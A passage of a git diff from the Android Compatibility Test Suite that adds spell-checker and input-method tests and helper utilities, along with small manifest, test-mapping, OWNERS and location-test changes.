+    fun removePreviousSuggestion() {
+        // Set up two rules:
+        // - Matches the sentence "Wrong context word?" and marks "word" as grammar error.
+        // - Matches the sentence "Correct context word?" and marks "word" as in-vocabulary.
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .setMatchSentence(true)
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("Wrong context word?")
+                                .addSuggestions("suggestion")
+                                .setStartOffset(14)
+                                .setLength(4)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+                ).addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("Correct context word?")
+                                .setStartOffset(16)
+                                .setLength(4)
+                                .setAttributes(RESULT_ATTR_IN_THE_DICTIONARY)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use { client ->
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("Wrong context word", 1)
+                session.callCommitText("?", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
+                }, TIMEOUT)
+                // Change "Wrong" to "Correct" and then trigger spell check.
+                session.callSetSelection(0, 5) // Select "Wrong"
+                session.callCommitText("Correct", 1)
+                session.callPerformSpellCheck()
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    private fun findSuggestionSpanWithFlags(editText: EditText, flags: Int): SuggestionSpan? =
+            getSuggestionSpans(editText).find { (it.flags and flags) == flags }
+
+    private fun getSuggestionSpans(editText: EditText): Array<SuggestionSpan> {
+        val editable = editText.text
+        val spans = editable.getSpans(0, editable.length, SuggestionSpan::class.java)
+        return spans
+    }
+
+    private fun emulateTapAtOffset(editText: EditText, offset: Int) {
+        var x = 0
+        var y = 0
+        runOnMainSync {
+            x = editText.layout.getPrimaryHorizontal(offset).toInt()
+            val line = editText.layout.getLineForOffset(offset)
+            y = (editText.layout.getLineTop(line) + editText.layout.getLineBottom(line)) / 2
+        }
+        CtsTouchUtils.emulateTapOnView(instrumentation, null, editText, x, y)
+    }
+
+    @UiThread
+    private fun isCursorInside(editText: EditText, start: Int, end: Int): Boolean =
+            start <= editText.selectionStart && editText.selectionEnd <= end
+
+    private fun startTestActivity(): Pair<TestActivity, EditText> {
+        var editText: EditText? = null
+        val activity = TestActivity.startSync { activity: TestActivity? ->
+            val layout = LinearLayout(activity)
+            editText = EditText(activity)
+            layout.addView(editText, LinearLayout.LayoutParams(MATCH_PARENT, WRAP_CONTENT))
+            layout
+        }
+        return Pair(activity, editText!!)
+    }
+
+    private fun getCurrentInputMethodInfo(): InputMethodInfo {
+        val curId = Settings.Secure.getString(context.getContentResolver(),
+                Settings.Secure.DEFAULT_INPUT_METHOD)
+        val imm = context.getSystemService(InputMethodManager::class.java)
+        val info = imm?.inputMethodList?.find { it.id == curId }
+        assertThat(info).isNotNull()
+        return info!!
+    }
+
+    private fun getSentenceSuggestions(
+        session: SpellCheckerSession,
+        listener: FakeSpellCheckerSessionListener,
+        text: String
+    ): Array<SentenceSuggestionsInfo>? {
+        val prevSize = listener.getSentenceSuggestionsResults.size
+        session.getSentenceSuggestions(arrayOf(TextInfo(text)), SUGGESTIONS_MAX_SIZE)
+        waitOnMainUntil({
+            listener.getSentenceSuggestionsResults.size == prevSize + 1
+        }, TIMEOUT)
+        return listener.getSentenceSuggestionsResults[prevSize]
+    }
+
+    private inner class ImeSession(val imeId: String) : AutoCloseable {
+
+        init {
+            SystemUtil.runCommandAndPrintOnLogcat(TAG, "ime reset")
+            SystemUtil.runCommandAndPrintOnLogcat(TAG, "ime enable $imeId")
+            SystemUtil.runCommandAndPrintOnLogcat(TAG, "ime set $imeId")
+            PollingCheck.check("Make sure that $imeId is selected", TIMEOUT) {
+                getCurrentInputMethodInfo().id == imeId
+            }
+        }
+
+        override fun close() {
+            SystemUtil.runCommandAndPrintOnLogcat(TAG, "ime reset")
+        }
+    }
+
+    private class FakeSpellCheckerSessionListener :
+            SpellCheckerSession.SpellCheckerSessionListener {
+        val getSentenceSuggestionsResults = ArrayList<Array<SentenceSuggestionsInfo>?>()
+        val getSentenceSuggestionsCallingThreads = ArrayList<Thread>()
+
+        override fun onGetSuggestions(results: Array<SuggestionsInfo>?) {
+            fail("Not expected")
+        }
+
+        override fun onGetSentenceSuggestions(results: Array<SentenceSuggestionsInfo>?) {
+            getSentenceSuggestionsResults.add(results)
+            getSentenceSuggestionsCallingThreads.add(Thread.currentThread())
+        }
+    }
+
+    private class FakeExecutor : Executor {
+        @get:Synchronized
+        val runnables = ArrayList<Runnable>()
+
+        @Synchronized
+        override fun execute(r: Runnable) {
+            runnables.add(r)
+        }
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/RequireImeCompatFlagRule.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/RequireImeCompatFlagRule.java
new file mode 100644
index 0000000..223b33b
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/RequireImeCompatFlagRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts.util;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import com.android.cts.mockime.MockIme;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * {@link TestRule} class that enable or disable the given app compat change config for
+ * {@link MockIme} to verify the behavior of the given compat change, and will reset the compat
+ * config after the test finished.
+ */
+public class RequireImeCompatFlagRule implements TestRule {
+    private final long mCompatFlag;
+    private final boolean mEnabled;
+
+    public RequireImeCompatFlagRule(long compatFlag, boolean enabled) {
+        mCompatFlag = compatFlag;
+        mEnabled = enabled;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                try {
+                    runWithShellPermissionIdentity(() -> {
+                        runShellCommand("am compat " + (mEnabled ? "enable " : "disable ")
+                                + mCompatFlag + " "
+                                + "com.android.cts.mockime");
+                    });
+                    base.evaluate();
+                } finally {
+                    runWithShellPermissionIdentity(() -> {
+                        runShellCommand("am compat reset " + mCompatFlag + " "
+                                + "com.android.cts.mockime");
+                    });
+                }
+            }
+        };
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
index 04ac957..398e7b6 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -34,7 +34,7 @@
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Function;
 
-public final class TestActivity extends Activity {
+public class TestActivity extends Activity {
 
     private static final AtomicReference<Function<TestActivity, View>> sInitializer =
             new AtomicReference<>();
@@ -137,6 +137,33 @@
                 .getInstrumentation().startActivitySync(intent);
     }
 
+    public static TestActivity startNewTaskSync(
+            @NonNull Function<TestActivity, View> activityInitializer) {
+        sInitializer.set(activityInitializer);
+        final Intent intent = new Intent()
+                .setAction(Intent.ACTION_MAIN)
+                .setClass(InstrumentationRegistry.getInstrumentation().getContext(),
+                        TestActivity.class)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        return (TestActivity) InstrumentationRegistry
+                .getInstrumentation().startActivitySync(intent);
+    }
+
+
+    public static TestActivity startSameTaskAndClearTopSync(
+            @NonNull Function<TestActivity, View> activityInitializer) {
+        sInitializer.set(activityInitializer);
+        final Intent intent = new Intent()
+                .setAction(Intent.ACTION_MAIN)
+                .setClass(InstrumentationRegistry.getInstrumentation().getContext(),
+                        TestActivity.class)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
+        return (TestActivity) InstrumentationRegistry
+                .getInstrumentation().startActivitySync(intent);
+    }
+
     /**
      * Updates {@link WindowManager.LayoutParams#softInputMode}.
      *
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity2.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity2.java
new file mode 100644
index 0000000..5fa7288
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity2.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts.util;
+
+/**
+ * Identical to {@link TestActivity} but doesn't handle any configChanges.
+ */
+public class TestActivity2 extends TestActivity {
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
index 2f7c1f5..cc61682 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
@@ -17,15 +17,22 @@
 package android.view.inputmethod.cts.util;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
 
 import android.app.Instrumentation;
+import android.app.KeyguardManager;
 import android.content.Context;
 import android.os.PowerManager;
+import android.view.KeyEvent;
 
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -141,13 +148,37 @@
     }
 
     /**
-     * Call a command to unlock screen.
+     * Simulates a {@link KeyEvent#KEYCODE_MENU} event to unlock screen.
      *
-     * Note that this method is originated from
-     * {@link android.server.wm.UiDeviceUtils#pressUnlockButton()}, which is only valid for
-     * unlocking insecure keyguard for test automation.
+     * This method will retry until {@link KeyguardManager#isKeyguardLocked()} return {@code false}
+     * in given timeout.
+     *
+     * Note that {@link KeyguardManager} is not accessible in instant mode due to security concern,
+     * so this method always throw exception with instant app.
      */
     public static void unlockScreen() throws Exception {
-        runShellCommand("input keyevent KEYCODE_MENU");
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final Context context = instrumentation.getContext();
+        final KeyguardManager kgm = context.getSystemService(KeyguardManager.class);
+
+        assertFalse("This method is currently not supported in instant apps.",
+                context.getPackageManager().isInstantApp());
+        CommonTestUtils.waitUntil("Device does not unlock after 3 seconds", 3,
+                () -> {
+                    SystemUtil.runWithShellPermissionIdentity(
+                            () -> instrumentation.sendKeyDownUpSync((KeyEvent.KEYCODE_MENU)));
+                    return kgm != null && !kgm.isKeyguardLocked();
+                });
+    }
+
+    /**
+     * Call a command to force stop the given application package.
+     *
+     * @param pkg The name of the package to be stopped.
+     */
+    public static void forceStopPackage(@NonNull String pkg) {
+        runWithShellPermissionIdentity(() -> {
+            runShellCommandOrThrow("am force-stop " + pkg);
+        });
     }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java
index a2fa830..3ec6f91 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java
@@ -23,6 +23,8 @@
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputConnection;
 import android.webkit.WebView;
 import android.webkit.WebViewClient;
 import android.widget.EditText;
@@ -45,10 +47,23 @@
         private static final String MY_HTML =
                 "<html><body>Editor: <input type='text' name='testInput'></body></html>";
         private UiDevice mUiDevice;
+        private final String mMaker;
 
-        Impl(Context context, UiDevice uiDevice) {
+        Impl(Context context, UiDevice uiDevice, String maker) {
             super(context);
             mUiDevice = uiDevice;
+            mMaker = maker;
+        }
+
+        @Override
+        public InputConnection onCreateInputConnection(EditorInfo outAttrs) {
+            final InputConnection original = super.onCreateInputConnection(outAttrs);
+            final int inputType = outAttrs.inputType;
+            if ((inputType & EditorInfo.TYPE_MASK_CLASS) == EditorInfo.TYPE_CLASS_TEXT
+                    && (inputType & EditorInfo.TYPE_TEXT_VARIATION_WEB_EDIT_TEXT) != 0) {
+                outAttrs.privateImeOptions = mMaker;
+            }
+            return original;
         }
 
         private void loadEditorPage() {
@@ -86,7 +101,7 @@
     private TestWebView() {
     }
 
-    public static UiObject2 launchTestWebViewActivity(long timeoutMs)
+    public static UiObject2 launchTestWebViewActivity(long timeoutMs, String maker)
             throws Exception {
         final AtomicReference<UiObject2> inputTextFieldRef = new AtomicReference<>();
         final AtomicReference<TestWebView.Impl> webViewRef = new AtomicReference<>();
@@ -97,7 +112,7 @@
         TestActivity.startSync(activity -> {
             final LinearLayout layout = new LinearLayout(activity);
             final TestWebView.Impl webView = new Impl(activity, UiDevice.getInstance(
-                    InstrumentationRegistry.getInstrumentation()));
+                    InstrumentationRegistry.getInstrumentation()), maker);
             webView.setWebViewClient(new WebViewClient() {
                 @Override
                 public void onPageFinished(WebView view, String url) {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
index d21b1c1..b6ee390 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
@@ -48,6 +48,8 @@
 import androidx.annotation.Nullable;
 import androidx.annotation.UiThread;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
@@ -56,10 +58,12 @@
  */
 public class WindowFocusHandleService extends Service {
     private @Nullable static WindowFocusHandleService sInstance = null;
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final String TAG = WindowFocusHandleService.class.getSimpleName();
 
     private EditText mPopupTextView;
     private Handler mThreadHandler;
+    private CountDownLatch mUiThreadSignal;
 
     @Override
     public void onCreate() {
@@ -99,6 +103,18 @@
                             + ", hasWindowfocus: " + hasWindowFocus);
                 }
             }
+
+            @Override
+            public boolean onCheckIsTextEditor() {
+                super.onCheckIsTextEditor();
+                if (getHandler() != null && mUiThreadSignal != null) {
+                    if (Thread.currentThread().getId()
+                            == getHandler().getLooper().getThread().getId()) {
+                        mUiThreadSignal.countDown();
+                    }
+                }
+                return true;
+            }
         };
         editText.setOnFocusChangeListener((v, hasFocus) -> {
             if (v == editText) {
@@ -147,8 +163,12 @@
     }
 
     @AnyThread
-    public EditText getPopupTextView(@Nullable AtomicBoolean outPopupTextHasWindowFocusRef) {
+    public EditText getPopupTextView(
+            @Nullable AtomicBoolean outPopupTextHasWindowFocusRef) throws Exception {
         if (outPopupTextHasWindowFocusRef != null) {
+            TestUtils.waitOnMainUntil(() -> mPopupTextView != null,
+                    TIMEOUT, "PopupTextView should be created");
+
             mPopupTextView.post(() -> {
                 final ViewTreeObserver observerForPopupTextView =
                         mPopupTextView.getViewTreeObserver();
@@ -159,6 +179,17 @@
         return mPopupTextView;
     }
 
+    /**
+     * Tests can set a {@link CountDownLatch} to wait until associated action performed on
+     * UI thread.
+     *
+     * @param uiThreadSignal the {@link CountDownLatch} used to countdown.
+     */
+    @AnyThread
+    public void setUiThreadSignal(CountDownLatch uiThreadSignal) {
+        mUiThreadSignal = uiThreadSignal;
+    }
+
     @MainThread
     public void handleReset() {
         if (mPopupTextView != null) {
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
index 143d0c5..5aabe30 100644
--- a/tests/inputmethod/testapp/Android.bp
+++ b/tests/inputmethod/testapp/Android.bp
@@ -29,6 +29,7 @@
     compile_multilib: "both",
     static_libs: [
         "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/inputmethod/testapp/AndroidManifest.xml b/tests/inputmethod/testapp/AndroidManifest.xml
index 0f47420..226f27d 100644
--- a/tests/inputmethod/testapp/AndroidManifest.xml
+++ b/tests/inputmethod/testapp/AndroidManifest.xml
@@ -26,7 +26,8 @@
         <activity
             android:name=".MainActivity"
             android:exported="true"
-            android:label="CtsInputMethodStandaloneTestActivity">
+            android:label="CtsInputMethodStandaloneTestActivity"
+            android:windowSoftInputMode="stateAlwaysHidden">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
             </intent-filter>
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
index 58d5c42..207c440 100644
--- a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -15,13 +15,25 @@
  */
 package android.view.inputmethod.ctstestapp;
 
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
 
 import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.view.Gravity;
+import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.LinearLayout;
+import android.widget.TextView;
 
 import androidx.annotation.Nullable;
 
@@ -32,17 +44,40 @@
 
     private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
             "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+    private static final String EXTRA_KEY_SHOW_DIALOG =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_SHOW_DIALOG";
+
+    private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
+    private static final String EXTRA_SHOW_SOFT_INPUT = "extra_show_soft_input";
+
+    private static final String ACTION_TRIGGER = "broadcast_action_trigger";
+    private AlertDialog mDialog;
+    private EditText mEditor;
+    private final Handler mHandler = new Handler(Looper.myLooper());
+
+    private BroadcastReceiver mBroadcastReceiver;
 
     @Nullable
-    private String getPrivateImeOptions() {
+    private String getStringIntentExtra(String key) {
         if (getPackageManager().isInstantApp()) {
             final Uri uri = getIntent().getData();
             if (uri == null || !uri.isHierarchical()) {
                 return null;
             }
-            return uri.getQueryParameter(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+            return uri.getQueryParameter(key);
         }
-        return getIntent().getStringExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+        return getIntent().getStringExtra(key);
+    }
+
+    private boolean getBooleanIntentExtra(String key) {
+        if (getPackageManager().isInstantApp()) {
+            final Uri uri = getIntent().getData();
+            if (uri == null || !uri.isHierarchical()) {
+                return false;
+            }
+            return uri.getBooleanQueryParameter(key, false);
+        }
+        return getIntent().getBooleanExtra(key, false);
     }
 
     @Override
@@ -51,15 +86,70 @@
 
         final LinearLayout layout = new LinearLayout(this);
         layout.setOrientation(LinearLayout.VERTICAL);
-        final EditText editText = new EditText(this);
-        editText.setHint("editText");
-        final String privateImeOptions = getPrivateImeOptions();
-        if (privateImeOptions != null) {
-            editText.setPrivateImeOptions(privateImeOptions);
+        final boolean needShowDialog = getBooleanIntentExtra(EXTRA_KEY_SHOW_DIALOG);
+
+        if (needShowDialog) {
+            layout.setOrientation(LinearLayout.VERTICAL);
+            layout.setGravity(Gravity.BOTTOM);
+            getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_RESIZE);
+
+            final TextView textView = new TextView(this);
+            textView.setText("This is DialogActivity");
+            layout.addView(textView);
+
+            mDialog = new AlertDialog.Builder(this)
+                    .setView(new LinearLayout(this))
+                    .create();
+            mDialog.getWindow().addFlags(FLAG_ALT_FOCUSABLE_IM);
+            mDialog.getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_PAN);
+            mDialog.show();
+        } else {
+            mEditor = new EditText(this);
+            mEditor.setHint("editText");
+            final String privateImeOptions = getStringIntentExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+            if (privateImeOptions != null) {
+                mEditor.setPrivateImeOptions(privateImeOptions);
+            }
+            mEditor.requestFocus();
+            layout.addView(mEditor);
         }
-        editText.requestFocus();
-        layout.addView(editText);
-        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
         setContentView(layout);
     }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        mBroadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                final Bundle extras = intent.getExtras();
+                if (extras == null) {
+                    return;
+                }
+
+                if (extras.containsKey(EXTRA_SHOW_SOFT_INPUT)) {
+                    getSystemService(InputMethodManager.class).showSoftInput(mEditor, 0);
+                }
+
+                if (extras.getBoolean(EXTRA_DISMISS_DIALOG, false)) {
+                    if (mDialog != null) {
+                        mDialog.dismiss();
+                        mDialog = null;
+                    }
+                    mHandler.postDelayed(() -> finish(), 100);
+                }
+            }
+        };
+        registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION_TRIGGER));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        if (mBroadcastReceiver != null) {
+            unregisterReceiver(mBroadcastReceiver);
+            mBroadcastReceiver = null;
+        }
+    }
 }
diff --git a/tests/leanbackjank/TEST_MAPPING b/tests/leanbackjank/TEST_MAPPING
new file mode 100644
index 0000000..64160c8
--- /dev/null
+++ b/tests/leanbackjank/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLeanbackJankTestCases"
+    }
+  ]
+}
diff --git a/tests/leanbackjank/app/AndroidManifest.xml b/tests/leanbackjank/app/AndroidManifest.xml
index 815b8cd..07f2bce 100644
--- a/tests/leanbackjank/app/AndroidManifest.xml
+++ b/tests/leanbackjank/app/AndroidManifest.xml
@@ -16,44 +16,41 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    package="android.leanbackjank.app"
-    android:versionCode="1"
-    android:versionName="1.1" >
+     xmlns:tools="http://schemas.android.com/tools"
+     package="android.leanbackjank.app"
+     android:versionCode="1"
+     android:versionName="1.1">
 
-    <uses-sdk
-        android:minSdkVersion="21"
-        android:targetSdkVersion="23" />
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="23"/>
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
 
-    <uses-feature
-        android:name="android.hardware.touchscreen"
-        android:required="false" />
+    <uses-feature android:name="android.hardware.touchscreen"
+         android:required="false"/>
 
     <uses-feature android:name="android.software.leanback"
-        android:required="true" />
+         android:required="true"/>
 
-    <application
-        android:allowBackup="false"
-        android:icon="@drawable/videos_by_google_banner"
-        android:label="@string/app_name"
-        android:logo="@drawable/videos_by_google_banner"
-        android:theme="@style/Theme.Example.Leanback"
-        tools:replace="android:appComponentFactory"
-        android:appComponentFactory="android.support.v4.app.CoreComponentFactory" >
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="false"
+         android:icon="@drawable/videos_by_google_banner"
+         android:label="@string/app_name"
+         android:logo="@drawable/videos_by_google_banner"
+         android:theme="@style/Theme.Example.Leanback"
+         tools:replace="android:appComponentFactory"
+         android:appComponentFactory="android.support.v4.app.CoreComponentFactory">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".ui.MainActivity"
-            android:icon="@drawable/videos_by_google_banner"
-            android:label="@string/app_name"
-            android:logo="@drawable/videos_by_google_banner"
-            android:screenOrientation="landscape" >
+        <activity android:name=".ui.MainActivity"
+             android:icon="@drawable/videos_by_google_banner"
+             android:label="@string/app_name"
+             android:logo="@drawable/videos_by_google_banner"
+             android:screenOrientation="landscape"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/libcore/jsr166/TEST_MAPPING b/tests/libcore/jsr166/TEST_MAPPING
new file mode 100644
index 0000000..7657d68
--- /dev/null
+++ b/tests/libcore/jsr166/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreJsr166TestCases"
+    }
+  ]
+}
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index da05fe2..2857328 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -44,6 +44,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts-conscrypt",
+       "mts-conscrypt",
     ],
 }
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 9ca68e0..0d4b9fe 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -48,4 +48,8 @@
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
     </object>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.conscrypt" />
+    </object>
 </configuration>
diff --git a/tests/libcore/wycheproof/TEST_MAPPING b/tests/libcore/wycheproof/TEST_MAPPING
new file mode 100644
index 0000000..7993ad6
--- /dev/null
+++ b/tests/libcore/wycheproof/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreWycheproofConscryptTestCases"
+    }
+  ]
+}
diff --git a/tests/location/OWNERS b/tests/location/OWNERS
index 61eb794..90fdb22 100644
--- a/tests/location/OWNERS
+++ b/tests/location/OWNERS
@@ -1,7 +1,7 @@
 # Bug component: 32850
+sooniln@google.com
 dnchrist@google.com
 sashakuznetsov@google.com
-sooniln@google.com
 weiwa@google.com
 wyattriley@google.com
 yuhany@google.com
diff --git a/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java b/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
index 5e9301d..be3a968 100644
--- a/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
+++ b/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
@@ -1,5 +1,6 @@
 package android.location.cts.common;
 
+import android.annotation.Nullable;
 import android.location.Location;
 import android.os.CancellationSignal;
 
@@ -12,7 +13,7 @@
 
     private final CancellationSignal mCancellationSignal;
     private final CountDownLatch mLatch;
-    private Location mLocation;
+    private @Nullable Location mLocation;
 
     public GetCurrentLocationCapture() {
         mCancellationSignal = new CancellationSignal();
@@ -27,7 +28,7 @@
         return mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
     }
 
-    public Location getLocation(long timeoutMs) throws InterruptedException, TimeoutException {
+    public @Nullable Location getLocation(long timeoutMs) throws InterruptedException, TimeoutException {
         if (mLatch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
             return mLocation;
         } else {
diff --git a/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
index bdb66bf..2359f91 100644
--- a/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
+++ b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
@@ -20,7 +20,6 @@
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
-import android.os.Bundle;
 
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
